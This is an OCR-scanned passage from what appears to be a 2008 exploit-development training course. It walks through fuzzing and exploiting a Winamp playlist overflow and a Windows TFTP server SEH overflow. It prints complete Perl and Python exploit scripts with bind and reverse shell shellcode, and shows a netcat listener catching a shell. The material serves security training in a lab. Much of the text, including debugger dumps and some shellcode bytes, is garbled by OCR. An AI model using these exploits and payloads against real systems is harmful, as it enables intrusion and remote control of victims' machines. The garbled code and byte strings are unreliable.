o1 237es B8 54303057 HoU” ERY, S 7265054 EFL BBZeEz4s | MO,ME,E,EE,
B0 1 Z37EF AF SCAS_DWORD PTR_ES: [EDI] bl e Ll
ET1 emptu +UMORH 1FAG HEH
BE1EST TR ~ FE EA JHZ SHORT @@1Zs7E0 e
STE emptu FEFF GEFFG
HE SCAS DWORD ETR ES: [EOT] e
STS emptu FEFF BEFFG
R ~ PE EF JHZ SHORT @@iZs7oc i
BE1ZE7TE SEEFET JHMF EDI ST4 enpty FFFF Bagac0
e EE R STE emptu -777 FFFF GOGGM
gteail 20 B STE emptuw —777 FFFF GAFGH
R 2L Bagsn ST? enpty -3v7 EFEF ouaen
BE1EEFTH 43 DEC Efy
. FST 4828 Cond 1 @ @ B H
891357 75 3550 54 CHE BYTE PTR D33 (EAX+543,0L i aee pA g o
BE1 5P TE EG FUSH ERM
BE1 55 ER En PUSH ER
BE1E57E1 SG4E 37 wOR BYTE PTR DS:[ESI+371.AL
BE1ESPEd ac DEC ESP
BE1ESPES 4E DEC EEH -
AA1 20708 A ncr cny
i~ :
Ef=ErohotEd
ES:[EDI1==tack [BB12C4FE1=Cra@oRcd
Address |Hed dump HSCII -
GOLZCAEE| 12 BB FO 45 40 06 oC 47 46 B0 GC GL 54 58 98 57| $.2CH. <GF. 1680 Sg%%gg?g L
BE1ZC4FE|E4 2@ 3R 57 98 93 98 98 98 90 9B 98 98 90 9B o8| TPOlEEcEcEceccEs Rolesris | Dand
GO1ZCE0E |98 90 98 98 96 90 98 96 96 90 90 90 96 90 90 90| eccceeeeeeseeeee| | 02123015 | EEE
GEiZCELE |98 9B 98 98 96 90 90 98 96 90 90 98 96 90 90 90| eceeeceeeeeeeeee| | || o127l | EE
GE1ZCEZE| 98 90 9@ 98 96 90 9@ 96 96 90 90 96 96 90 90 96| Ecceeceeeeeeeese| | oo1271F | e
BE1ECSEE |96 9@ 9B 9P 90 93 9B 98 99 93 9A 98 99 93 98 90| CCEccccEcccccces W ootacrss | S
AELZCCAE| 9B 968 98 90 98 98 98 98 98 98 98 90 98 08 98 00| EEcccEEEcEEEEEEE BELESTEE | 424
™ b L™ r

| Breakpoint at 00123772
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We now have a buffer of 848 bytes to run our fanciest shellcode. We’ll opt for an alphanumeric

bind shell shellcode.

bt framework3 # ./msfpayload windows/shell bind tcp R >bind
bt framework3 # ./msfencode —e x86/alpha mixed -i bind -t perl

The Shell
Our final exploit looks like this:

#!/usr/bin/perl -w
#
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# Original Poc by Umesh Wanve (umesh_345@yahoo.com)

#
Sstart= "[playlist]\r\nFilel=\\\\";

Snop= "TOOWTOOW"

# win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2

"\x90" x 32 . \xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x37\x5a\x6a\x4a".
"\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x5a\x32\x42\x42\x42\x32".
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x68\x69\x4b\x4c\x33".
"\x5a\x38\x6b\x70\x4d\x78\x68\x6b\x49\x39\x6f\x6b\x4f\x59\x6£\x53".
"\x50\x4c\x4b\x50\x6c\x64\x64\x55\x74\x4e\x6b\x70\x45\x77\x4c\x6c".
"\x4b\x43\x4c\x55\x55\x62\x58\x63\x31\x78\x6f\x4e\x6b\x32\x6£\x76".
"\x78\x6c\x4b\x33\x6f\x35\x70\x57\x71\x68\x6b\x72\x69\x4c\x4b\x70".
"\x34\x6c\x4b\x47\x71\x58\x6e\x55\x61\x59\x50\x6f\x69\x4de\xdc\x6e".
"\x64\x79\x50\x62\x54\x66\x67\x6f\x31\x6b\x7a\x76\x6d\x63\x31\x4£f".
"\x32\x78\x6b\x6a\x54\x45\x6b\x62\x74\x37\x54\x64\x68\x53\x45\x6b".
"\x55\x6c\x4b\x31\x4f\x75\x74\x55\x51\x48\x6b\x41\x76\x6c\x4b\x36".
"\x6c\x50\x4b\x4e\x6b\x61\x4f\x77\x6c\x47\x71\x78\x6b\x35\x53\x46".
"\x4c\x4e\x6b\x4c\x49\x30\x6c\x66\x44\x65\x4c\x50\x61\x4f\x33\x34".
"\x71\x79\x4b\x55\x34\x6e\x6b\x61\x53\x56\x50\x4c\x4b\x73\x70\x66".
"\x6c\x6e\x6b\x30\x70\x67\x6c\x6e\x4d\x4c\x4b\x33\x70\x44\x48\x31".
"\x4e\x65\x38\x4c\x4e\x30\x4e\x44\x4e\x48\x6c\x30\x50\x79\x6f\x7a".
"\x76\x42\x46\x32\x73\x65\x36\x55\x38\x67\x43\x70\x32\x45\x38\x53".
"\x47\x73\x43\x37\x42\x63\x6£\x41\x44\x59\x6f\x4e\x30\x31\x78\x58".
"\x4b\x38\x6d\x79\x6c\x55\x6b\x42\x70\x4b\x4f\x7a\x76\x71\x4f\x6£".
"\x79\x39\x75\x61\x76\x6d\x51\x68\x6d\x53\x38\x53\x32\x63\x65\x70".
"\x6a\x46\x62\x49\x6f\x58\x50\x50\x68\x69\x49\x36\x69\x78\x75\x6e".
"\x4d\x56\x37\x59\x6f\x5a\x76\x70\x53\x42\x73\x43\x63\x52\x73\x32".
"\x73\x72\x63\x52\x73\x47\x33\x76\x33\x49\x6f\x5a\x70\x31\x76\x42".
"\x48\x76\x71\x53\x6c\x35\x36\x51\x43\x6e\x69\x6a\x41\x6d\x45\x50".
"\x68\x4d\x74\x57\x6a\x32\x50\x58\x47\x76\x37\x6b\x4f\x38\x56\x51".
"\x7a\x52\x30\x71\x41\x70\x55\x59\x6f\x5a\x70\x35\x38\x6d\x74\x6c".
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"\x6d\x66\x4e\x4d\x39\x63\x67\x59\x6f\x58\x56\x31\x43\x30\x55\x49".
"\x6f\x4e\x30\x75\x38\x4d\x35\x52\x69\x6e\x66\x31\x59\x61\x47\x49".
"\x6f\x5a\x76\x56\x30\x76\x34\x63\x64\x33\x65\x4b\x4f\x6a\x70\x6£".
"\x63\x33\x58\x39\x77\x33\x49\x49\x56\x42\x59\x72\x77\x39\x6f\x6a".
"\x76\x41\x45\x6b\x4f\x78\x50\x50\x66\x61\x7a\x30\x64\x65\x36\x50".
"\x68\x42\x43\x70\x6d\x4b\x39\x39\x75\x31\x7a\x52\x70\x76\x39\x64".
"\x69\x7a\x6c\x6b\x39\x6b\x57\x43\x5a\x61\x54\x4f\x79\x79\x72\x37".
"\x41\x6b\x70\x49\x63\x4f\x5a\x6b\x4e\x57\x32\x66\x4d\x4b\x4e\x61".
"\x52\x34\x6c\x4d\x43\x6e\x6d\x72\x5a\x66\x58\x6e\x4b\xde\x4b\x6c".
"\x6b\x65\x38\x44\x32\x49\x6e\x6f\x43\x37\x66\x59\x6f\x62\x55\x51".
"\x54\x4b\x4f\x4b\x66\x61\x4b\x51\x47\x32\x72\x61\x41\x51\x41\x76".
"\x31\x70\x6a\x66\x61\x66\x31\x52\x71\x42\x75\x33\x61\x39\x6£\x58".
"\x50\x73\x58\x4e\x4d\x6b\x69\x64\x45\x6a\x6e\x46\x33\x39\x6f\x7a".
"\x76\x73\x5a\x59\x6f\x59\x6£\x57\x47\x6b\x4f\x6e\x30\x6e\x6b\x41".
"\x47\x4b\x4c\x6e\x63\x6b\x74\x75\x34\x6b\x4f\x4b\x66\x46\x32\x49".
"\x6f\x58\x50\x62\x48\x33\x4e\x68\x58\x49\x72\x42\x53\x66\x33\x4b".
"\x4f\x4e\x36\x59\x6f\x6e\x30\x4a" . "\x90" x 120 ;

Sshellcode ="\x90" x 6
"\x89\xe6\xdd\xc7\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a".
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32".
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49".
"\x45\x36\x4b\x31\x49\x5a\x4b\x4f\x44\x4f\x47\x32\x46\x32\x43".
"\x5a\x43\x32\x51\x48\x48\x4d\x46\x4e\x47\x4c\x43\x35\x50\x5a".
"\x42\x54\x4a\x4f\x48\x38\x50\x54\x46\x50\x50\x30\x46\x37\x4c".
"\x4b\x4a\x5a\x4e\x4f\x43\x45\x4a\x4a\x4e\x4f\x44\x35\x4d\x37".
"\x4b\x4f\x4b\x57\x4a\x30\x41\x41" . "\x90" x 32;

Simp="\x61\xd9\x02\x02"."\x83\xec\x72\x83\xec\x32\xff\xe4\x90\x90\x90\x90";
Send="\r\nTitlel=pwnd\r\nLengthl=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";
open (MYFILE, '>poc.pls');

print MYFILE $start;

print MYFILE $nop;

print MYFILE $shellcode;

print MYFILE $jmp;

print MYFILE S$end;

close (MYFILE);
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EX Administrator C\Windows\system32\cmd.exe

iFIND "4444"
#.8.8.8:8

C:islzserssoffsecknetstat —an iFIND

TCP A.0.0.0:4444

C:sUsers~offsecr

Fie  Play Optionz  Yiew Help

VIDEDAVIS

i=lkd
=]

"LISTEN"

COMFIG

2.4

Challenge #6
Recreate the Winamp exploit from POC on a Windows Vista machine. Deploy an egghunter as one
of your payloads.
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The ODay angle

Windows TFTP Server - Case study #1

In a recent pentest, we were asked to simulate an attack on an internal LAN. After a few interviews
and a bit of network reconnaissance, we learned that the Cisco network configurations for the whole
organization were backed up on a centralized TFTP server. The open source TFTP server was run

as a service on a Windows Vista Client machine, with all ports filtered except for 69 UDP.

We felt that there was a good probability of finding a bug in the TFTP server, and allocated some

time for fuzzing it, and searching for unknown vulnerabilities.

Figuring out the protocol

After reading the TFTP protocol RFC, and looking at a TCTP packet dump, we soon realized that
fuzzing this protocol would be simple (http://www.fags.org/rfcs/rfc1350.html for more info).

Out of the 5 types of packets used in the TFTP protocol, we will start fuzzing the write requests
packets (WRQ), and proceed onwards to other types if needed.

@1 0.000000 192.168.240.134 192.168.240.131 TFTP Write Request, File: beep.hin\000, Transfer type: @ & &

Frame 1 (62 bytes on wire, 62 bytes captured)
Ethernet II, Src: @8:8c:29:34:24:2e (00:0c:29:34:24:2e), Dst: 00:0c:29:f0:c9:74 (00:0c:29:1
Internet Protocol, Src: 192.168.240.134 (192.168.240.134), Dst: 192.168.248.131 (192.168.2¢
User Datagram Protocol, Src Port: 32771 (32771), Dst Port: 69 (69)
Trivial File Transfer Protocol

Opcode: Write Request (2)

DESTINATION File: beep.bin

Type: netascii

Il v v v =

e [¥ A ™ L I S iy v R S R ¥ B | [T e [EC v v v R v ) CRra AR TP s s

B0l @0 30 00 00 40 00 40 11 dB 61 c@ aB f@ 86 cO al SO EE@REE SRR
BE20 85

B30 ae

69 Ge GO 6l 73 63 .bin.net ascii.
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We see that the TFP packet has the following structure:

RRQ/ | 01/02 | Filename | 0 | Mode 0 |

We identify two places which might be vulnerable to buffer overflows, namely the "Filename" and

the "Mode" parameters.

Writing the Spike fuzzer template
We carefully build a TFTP WRQ packet fuzzer using the following template:

s_binary ("0002") ;

s_string variable("file.txt");
s_binary ("00");

s_string variable("netascii");
s_binary ("00");

sleep(l);

bt src # ./generic_send udp 192.168.240.135 69 audits/tftp.spk 0 0 5000
Target is 192.168.240.135

Total Number of Strings is 681

£d=3

Fuzzing Variable 0:0

Fuzzing Variable 0:1

Variablesize= 5004
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Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable 0:4

Variablesize= 3

bt src #

92
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The crash

The crash reveals an SEH overwrite in Olly, and occurs in variable 0, with about 5000 bytes of

buffer:

OllyDbag - TFTPServersP.exe
File View Debug Options Window Help

www.offensive-saecurity.com

=10l x|

| Faused

(Blux| wn| wifs ¥4 A +f L[E[M[T|W[H|c|/]|K|B|R].

[& cru - thread 00000914, module msvert

BO1r MOU OWORD FTR DS:[CEDIL.ED® 4 lReaicter= (FFUI
VEEODECH | 93Cr 04 AODD EOI, 4 En§ =ETETEFE
7EEODECE |~ EB OF JHP SHORT msvcrt . PESO0ER4 ECy SEFBOSHC ASCII "ARRARARRRARAL
FEEOCECE | =402 TEST OL, DL EO% 41414141
FEEDDECT |~ BFE4 E4GEEGEE JE mewcrt . PEE00FE1 J EB" BOLZFADA ASCII ™192. 168,240
FEE00ECD | S4F& TEST DH.OH ESP GACZFATC e
YEE0O0ECF |~ 74 23 JE SHORT mswcrt. PaSOOEF4 EEP GECZFIRC
FESODEDL | FPC? oOBEFFGE TEST EL, GFF@EEA Eol GAEEFIRG
FEEDDEDT |~ BFS4 ACHEERER JE mewcrt . PEED0FSS EDI OBRSFFFD
7EEODEDD | FPC2 DOGEEOFF TEST ELX, FFRAEGAG
e - 0 o M Ll eeebvatpaseess
FEEODEEY | ©SBd4424 6e HMOU ER:, DWOROVPTR. 552 CESP+21 E 'f' EE SS%E EEE{E SEEEEFEEEH
;EEEEEEE Eg EE?H A @ S5 BE23 32hit B(FFFFFFFF)
D = . DI Z 1 D5 BE2Z3 22hit BIFFFFFFFF)

. =l & F5 o638 3fbit FFFODGEECFFF)
TEEOOEEE | BETC24 BE MOL EDI. DWOROVETRYSSEIESF+E] T5 G: boas ML
4 ] Ooa
L 0 B LastErr ERROR_SUCCESS [ GE@E
Stack DS:[PACZFFFDI=S08806E0 EFL GE&E1@24& (MHO,ME,E,EBE,MS,FE, Gl

§Il::1 enmpty A.08

Address |Hen dump ASCII HEEAAEASE
B0410000) 54 46 54 SO 3 65 (2 76|65 72 @ 54|46 £4 5O 20| TFTFserver, [— oocer 200 | 294B40E | RET
eE412010( 53 69 6E 67|60 65 28 S@|6F 72 74 28|53 65 72 v6|Single Port Pemetaie | EEEEEn EEE
GE413626| 65 72 @@ 69| B FF 02 00 63 00 OO 00|03 00 08 63 er..7 ..e..0 | oocoraoc | BAFEERAE ASL
BE419E36| 60 B3 GO0 68| FF FF FF FF| 00 GO0 OF ©P G0 00 G0 08| ... oo \EETEREE || SERdn ) U
@E4120468| FF FF FF FF| 0@ B0 B8 08| FF FF FF FF| GO 00 G0 00 e | pmeeees
BE41 2656 FF FF FF FF| OB BF GO 0|00 GO 00 G5 05 B0 GO 68 ........ i | SRS
GE41 2056|6046 G0 G0 05 GO G5 OO G0 GO 00 G5 05 0O GO GE[ L@, ... ... ... PEETEIEE | EEiiiEs
BE412676( 24 50 41 G0 00 GR GO 0|60 GO 00 G5 00 OO G0 G6[ MO, .. ...... s | e
@41 2856| 60 B3 98 68| FF FF FF FF| 89 G0 08 G5 FF FF FF FF| ... - B am
BI3415090| @1 @A @A 06 A0 00 0O G861 0 GO OO B A BA BA|6.......08... |2OCSEARR ) HESSIEDE)
B34 15000 63 @8 G0 08 50 00 0O 06|05 00 60 OO FO OF 69 64|0...C...0... |SocsEabe | BELEERSEIESh
BE41SEER| B8 160 B0 60| 00 B0 05 0|00 G0 OO G5 Gl B0 G0 GE[ k.. ........ ity | G
BE412ECH| 60 B G0 G0 00 BR GO D600 G0 D0 G5 05 B0 G0 GE[ .. ..., ... HULIFAEM | DEdnlsEl

Aoceszs violation when writing to [00C30000] - uge Shift+F7/F3/F3 to pass exception ko program

93

5™ SEH chain of thread 01 -0 x|
Address |SE handler -
BECZFFOC| 41414141

[
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It looks like a vanilla SEH overflow. We will require a POP POP RETN command sequence to

jump back to our buffer, in a non /GS enabled dll or executable.

Using the Ollydbg SAFESEH plugin, we quickly identify that on a Windows Vista installation,
ALL system dlls are compiles with the GS flag. The only module which has SAFESEH disabled is
the TFTP server binary itself, however it is in the address space 00400000 - 00421000. This address

space contains a "null byte", and will therefore terminate any buffer placed after it.

3 /safeSEH Module Scanner - O] x|

S5EH mode Baze Limit Hnduldﬂndule Hame -

Ho SEH B4 771al@fa | Ba771a960608 | 6,.8,60 Cr-bindows~swstem32~LPK.OLL

~SafeSEH OH Br FEOEE00E | ORFE9EVOEE | S.8.55 C: -l indows~systenI2~N50Cka2. 0OLL

~SafeSEH OH Br FdbFEOEE | B F4bFeDEE | G0 8,65 C:indows~Systend2~wshtcpip.dl L

~SafeSEH OH Bn FdeafbbE | BaFdedbbbl | 608,65 C:~lindows~systemnd2~mswsock.dl L

~SafeSEH OH Bn FESEA0EE | BrFESfdOEE | 1.8624 C:~lindows~systend2~U5FP1A. 411

~SafeSEH OH Hr FE9EHEAHEE | Bn FE94bbEE | 608,68 C:~indows~systen32~50I32.d11

~Saf=SEH OH By FESEADEE | BrFEalVoBE | 6.8.68 C:~lindows~systen32~MSCTF.dLL

~Saf=SEH OH Hr FEE2EA0EE | BrFPEEbebBd | 608,68 C:~indows~systen32~J5ERSZ.dL L

~SafeSEH OH Br FEScEA0BE | B Foccabbl | F.@.58 Cilindows~systend2~mnswort.dLL

~SafeSEH OH BrFEred0bE | BRFEE9fOEE | S.8.68 C: W indows~systen32~AOUAFISZ. OLL

~SafeSEH OH Br FEEalEE | BrFE97E0EE | 608,65 C:indows~systend2~kernel32.dl 1L

~SafeSEH OH Bn FEEdBAEEE | B FEc930EE | 6. 8. 68 C:~indows~systen3d2~RPCRT4.dL1

~SafeSEH OH Hr PEFEEAHEE | BrPrE9ebbd | 6.8.68 Ci~indows~systen32~ntdlLl.dLL

~Saf=SEH OH By FrEcAbEE | BrPrdedbbd | 608,68 C:~indows~systen32~W52_32.0LL

~Saf=SEH OH BrFrEfA0EE | Br7718ebBd | 6.8.68 C:~indows~systen32~IMM32. 0OLL

~SafeSEH OH Br7rliBoEE | Ba7rlliebBd | 6.8.68 C:~indows~systen3z2~H5I.dl1

~SafeSEH OFF B 4EEEER Brdz21860 C:~Program Files~TFTPServer~TFTPServersiP.ene
=l

Controlling EIP

We identify the exact bytes that overwrite EIP using the Metasploit pattern_create ruby script, and

write a skeleton exploit:

#!/usr/bin/python
import socket

import sys

host = '192.168.240.135"
port = 69
try:
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s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket () failed"

sys.exit (1)

filename = "
AaOAalAa2ha3RhadPhaS5hachAa7Aa8Ra9Ab0AblAb2AL3ALAALSAL6 AL 7AL8ALIACOACIAC2AC3ACc4ACS5AC

...[5000 chars]...
J2Gj3Gj4Gj5Gj6Gj7Gj8GjI9Gk0Gk1Gk2Gk3Gk4Gk5Gk ™"

mode = "netascii"

muha "\x00\x02" + filename+ "\0" + mode+ "\O"

s.sendto (muha, (host, port))

After the crash, the pattern_offsec script indicates that the SEH is overwritten on the 1502nd byte:

bt tools # ./pattern_offset.rb 31704230

1232

Locating a return address

We quickly locate a POP POP RET combo in the TFTPserver.exe executable:

[ELSL TETReT o) (TR Pl L Y

BE4EFZEL |~ 75 @0 JHE SHORT TFTPSerw.@o4aFacE
HE4HF3ES g3C4 14 AOD ESF, 14

BE4HF3IBG [=1=3 FOF EBX

BE4HF 3BT 50 FOF EEBP

HE4HF3IBE c2 RETH

HE4HF3ES S0E426 GHEEEHEE LEA ESI.OWORD PTR DS5:[CESI]
codoFaco | A1 cagedtan MO ERi, DWORD PR DS: (412001

However, we are once again reminded of the null byte problem.

We verify control of EIP with the following template:
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#!/usr/bin/python

s = socket.socket (socket.AF_INET,

import socket
import sys
host = '192.168.240.135"
port = 69
try:
except:
print "socket () failed"
sys.exit (1)
filename = "A"*1232+"B"*4
mode = "netascii"
muha =

"\x00\x02" + filename+ "\0" + mode+ "\O"

s.sendto (muha, (host,

port))

socket . SOCK_DGRAM)

96
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OllyDbag - TFTPServersSP.exe - [CPU - thread 00000CSC] - |EI|E|
@ File Wiew Debug Plugine Options Window Help - |5'|£|

Paused | 44| x| w|00] Wi F BE[U 2| o L|E|M|T|WH|C
a4 | Registers (FPLUI
= | ERX BAEERRREE
ECs dz2d2d4242
EDs YEFE1A4D ntdll.?
EE: HRAEEEAE
ESF BERBAFS9:2
EEF GHBAFSES
ESI Goa8aaaa
EDI @800EE6EE

EIF 42424242

A ES 8823 32bit
1 C% @8lB 2Zbit
B S5 @822 22bit
é 05 @E22 I2bit
5]
5]

w
4| | 5

Address |Hex durmp ASCII @ FEFE1BZ3|RETURH to ntdg
HEBRFESC HEBAFEFS
e 25 FE o on oo e ARREEEE  anE RS G M EEEAEF O RS RRRREE

BOEAFFES| B8 28 FC 76 B9 69 98 69
BAEOFFEC| BB B0 BE G6 B B BE 66 ) QAEAFSA | BEEAFG34

so2+| | GBEAFSAS | BEEAFESH
DREREEES| D= B2 IF [o|BR F7 53 @) RIOVEES.1 | aoeAFSAC | BEERFFOC|Pointer to ne

ABEAFSER TEFE1840( SE handler

ABERFSE4 BEEAFFOC| ASCII "AAAAEBE
BEEAFSES BEEAFEEE
AEEAFEEC YEFE1BEEB| RETURM to nto
BEBAFECE HEBAFEF2
BEBAFEC BEBAFFOC| ASCII "AAARAE

— GEEAFECE || BEEAFES4
|7 | eeerFECE || @eEAFES4 -
1| | %

=) (50 5 5005

FS BEIB 22bit
G5 8888 HULL

i | b

Notice how the POP POP RET instruction will take us 4 bytes before our RET. We will have a 4

byte buffer to execute our 1st stage shellcode.
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3 byte overwrite

To solve the null byte problem, we will initiate a 3 byte overwrite of the SEH. The 4th byte will be
occupied by a null byte, as required by the TFTP protocol. This will redirect the execution flow to a
POP POP RET combo in the TFTP server executable!

We could perform a short negative jump up the buffer and gain approximately 128 bytes of buffer

to execute a secondary payload. (\xeb\xd0).

OllyDbg - TFTPServersP.exe - [CPU - thread 00000C5C] O] x|
@ File WView Debug Plugins Options Window Help =18 x|
] *l * L
Passed | B4 x| w|1| & {1 | o L|E[M[T|W/ H|C
GEERAFFLE | | 41 THC ECH R £ ( FPL)
BEEAFFCT | | 41 INC ECH EEELZBEEZBBB
BEERFFCS | | 41 INC ECH ECH 42424242
BEERFFCS 41 INC ECH ED¥ FEFE1840 ntdll.?
BEEAFFCA | | 41 IHC ECH :
BOBAFFCH | | 41 IHC ELx EEY PEFE1G22 ntdll.7
QEERFFCE | | 41 INC ECX Eer BobArecs
SSEEEEEE ﬂ %HE EE§ ES] BEEEEEEE
BEEAFFCF | | 41 INC ECH S0 glsalilalsa
orte | |3 e =2
BRERFFDZ | | 41 ING ECH E§ S oaic aobic 6
BEERFFOS | | 41 INC ECX A8 ST BE22 32hit O
BEEAFF D4 41 IME ECH Z 1 DS @823 S2hbit o
SSEEEEEE i% %HE EE§ $ @ FS @836 32bit 7
el | | e 35 Loueter e
P P ING Eoo 0 @ LastErr ERROR_F
BEEAFFOA | | 41 IHC ECH EFL 9@@RREZ4& (MO, HE,
GEERFFOE | | 41 IHC ECH
~“EE D@ JHF SHORT BEERFFAE — A
GEEAFFOE | 41 IHC ECH il AR
T T ﬂ_ 2T cmpty 8.0
ST4 empty B.8
STE empty 8.8
STE empty 8.8
STP empty 8.8
Address |Hex dump ASCII - BEHEAF&94 S
BEEAFSAS | DOBAFGS4 —
SSISEEEEE B8 28 FC 7200 06 B0 00| - (.- n. |2 B@IEEEEEE BEERFFOC| Pointer to nels
r 1| | 3

As we have another 1000 bytes of buffer behind us, we could use those 128 bytes to jump back

further into the buffer, and execute our 3rd and final payload.

A small trick to jump up and down our buffer can be found in the phrack #62 Article 7 Originally

written by Aaron Adams.

| 0
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# lst stage shellcode:
G o o i o

# [BITS 32]

#

# global _start

#

# _start:

#

# ;——— Taken from phrack #62 Article 7 Originally written by Aaron Adams
#

# ;——— copy eip into ecx

# fldz

# fnstenv [esp-12]

# pop ecx

# add cl, 10

# nop

L e e e e e e e e e e e e e e
# dec ch ; ecx=-256;

# dec ch ; ecx=-256;

# Jjmp ecx ; lets jmp ecx (current location - 512)

We compile this code with nasm, and look at the resulting binary code:

| DO9EED97424F45980C10A0FECDFECDFFEL

Let's try this second stage shellcode, and see if our jump works.

© All rights reserved to Author Mati Aharoni, 2008

99 BlackHat Vegas 2008




www.ullenslve--a:urlty-g’g}'ﬁ‘;"

OllyDbg - TFTPServersP.exe - [CPU - thread 00000B0E]
File View Debug FPlugins Options Window Help

e [ Bled x| wn] wi%i 3505 o) ] mlE|m|T|wE]c|s]
BEOOFFES | | 41 THC ECn -
BEODFFES | | 41 INC ECH
BEODFFES | | 41 INC ECH
BEODFFEE | | 41 INC ECH
BEODFFET | | 41 INC ECH
BEODFFES | | 41 INC ECH
BEODFFES | | 41 INC ECH
BEODFFER | | 41 INC ECH
BEODFFEE | | 41 INC ECH
BEODFFEC | | 41 INC ECH
BEODFFED | | 41 INC ECH
BBODFFEE | | 41 INC ECH
BEODFFEF | | 41 INC ECH
BBODFFCE | | 41 IHC ECH
BEODFFCL | | 98 NP
BEOOFFCE | | 9@ NOP
BEODFFCS | | 98 NOP
BEODFFCA | | 98 NOP
BEODFFCE | | 98 NOF
BEODFFCE | | 98 NOP
BEODFFCT | | 98 HOP
BEODFFCE | | 98 HOP
BEODFFCS | | 98 NOP
BEOOFFCA | | 9@ NOP
BEODFFCE | | D9EE FLDZ
BEODFFCD | | DS7d24 F4 FSTEHU (28-BYTE) PTR 55 [ESP-CI
BEODFFOL | | 59 FOF ECH
BEODFFOZ | | 2BC1 @A AOD CL, &7
BEODFFCE | | 98 HOP
BBODFFDE | | FECD DEC CH
BEDDFFOE | | FECD DEC CH
~\FFE1 JHF ECH |
BEODFFOLC |~ EE E2 JHF SHORT @R0DFFCE -
BEODFFOE | 9 NOP
i | 3

Our 2nd stage shellcode is successful, and we now have approximately 450 bytes for our final

payload.

We edit the exploit accordingly:

#!/usr/bin/python
import socket
import sys

host = '192.168.240.135"
port = 69
try:
s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket () failed"
sys.exit (1)
# win32_reverse - EXITFUNC=seh LHOST=192.168.240.134 LPORT=443 Size=312

Encoder=PexFnstenvSub http://metasploit.com */
shellcode=(
"\x2b\xc9\x83\xe9\xb8\xdI\xee\xdI\x74\x24 \xf4\x5b\x81\x73\x13\x6Db"
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"\xa9\x52\xc5\x83\xeb\xfc\xe2\xf4\x97\xc3\xb9\x88\x83\x50\xad\x3a"
"\x94\xc9\xd9\xa9\x4f\x8d\xd9\x80\x57\x22\x2e\xc0\x13\xa8\xbd\x4e"
"\x24\xb1\xd9\x9%a\x4b\xa8\xb9\x8c\xe0\x9d\xd9\xc4\x85\x98\x92\x5c"
"\xc7\x2d\x92\xb1\x6c\x68\x98\xc8\x6a\x6b\xb9\x31\x50\xfd\x76\xed"
"\xle\x4c\xd9\x9%a\x4f\xa8\xb9\xa3\xe0\xa5\x19\x4e\x34\xb5\x53\x2e"
"\x68\x85\xd9\x4c\x07\x8d\x4e\xad4\xa8\x98\x89\xal\xel\xea\x62\x4e"
"\x2b\xa5\xd9\xb5\x77\x04\xd9\x85\x63\xf7\x3a\x4b\x25\xa7\xbe\x95"
"\x94\x7f\x34\x96\x0d\xc1\x61\xf7\x03\xde\x21\xf7\x34\xfd\xad\x15"
"\x03\x62\xbf\x39\x50\xf9\xad\x13\x34\x20\xb7\xa3\xea\x44\x5a\xc7"
"\x3e\xc3\x50\x3a\xbb\xcl\x8b\xcc\x9e\x04\x05\x3a\xbd\xfa\x01\x96"
"\x38\xea\x01\x86\x38\x56\x82\xad\xab\x01\xa2\x43\x0d\xcl\x53\x7e"
"\x0d\xfa\xdb\x24\xfe\xcl\xbe\x3c\xcl\xc9\x05\x3a\xbd\xc3\x42\x94"
"\x3e\x56\x82\xa3\x01\xcd\x34\xad\x08\xc4\x38\x95\x32\x80\x9%e\x4c"
"\x8c\xc3\x16\x4c\x89\x98\x92\x36\xcl\x3c\xdb\x38\x95\xeb\x7f\x3b"
"\x29\x85\xdf\xbf\x53\x02\xf9\x6e\x03\xdb\xac\x76\x7d\x56\x27\xed"
"\x94\x7f\x09\x92\x39\xf8\x03\x94\x01\xa8\x03\x94\x3e\xf8\xad\x15"
"\x03\x04\x8b\xc0\xab\xfa\xad\x13\x01\x56\xad\xf2\x94\x79\x3a\x22"
"\x12\x6f\x2b\x3a\xle\xad\xad\x13\x94\xde\xae\x3a\xbb\xcl\xa2\x4f"
"\x6f\xf6\x01\x3a\xbd\x56\x82\xc5")

# Jjmp back shellcode 17 bytes
Jmpback="\xDI\XEE\xDI\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\XCD\XFE\XCD\XxFF\XE1"

# RET 0040f3b6
filename = "A"*751 + shellcode + "B" * (450-len(shellcode)) + "\x90"* 10 +
Jjmpback + "\xeb\xe2\x90\x90\xb6\xf3\x40"

mode = "netascii"
muha = "\x00\x02" + filename+ "\0" + mode+ "\O"
s.sendto (muha, (host, port))

And get a shell!

bt ~ # nc -nlvp 443

listening on [any] 443

connect to [192.168.240.134] from (UNKNOWN) [192.168.240.135] 49170
Microsoft Windows [Version 6.0.6000]

Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Challenge #7
Recreate the TFTP exploit from POC on a Windows Vista machine.
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HP Openview NNM - Case study #2

In a recent audit, we were requested to simulate a comprehensive and well funded external attack
against a client corporate network. As we progressed into the pentest, we realized relatively soon
that our attack surface was minimal, and contained no known weaknesses or configuration errors

which were exploitable.

One system that did stand out from the rest was a fully patched, firewalled Windows 2003 server,
which had port 7510 exposed to the internet.

After prodding the port for a while, we discovered an Apache Tomcat 4.0.4 server serving HTTP
requests. Browsing the HTTP server and looking at the HTP source revealed that the HTTP server

was part of an HP NNM suite installed on the machine.

<P><A HREF=“http://corpcom.com/OvDocs/C/ReleaseNotes/README.html”
TARGET="_blank”>NNM Release B.07.50</A><BR>Copyright (c) 1990-2004 Hewlett-—
Packard Development Company, L.P.

We proceeded to rebuild the same hardware / software configuration of the machine in a local lab,
and decided to take the “O day angle” approach, and look for unknown vulnerabilities in this

service.

In the following module we will discuss and recreate this scenario in the lab, and attempt to

successfully exploit.
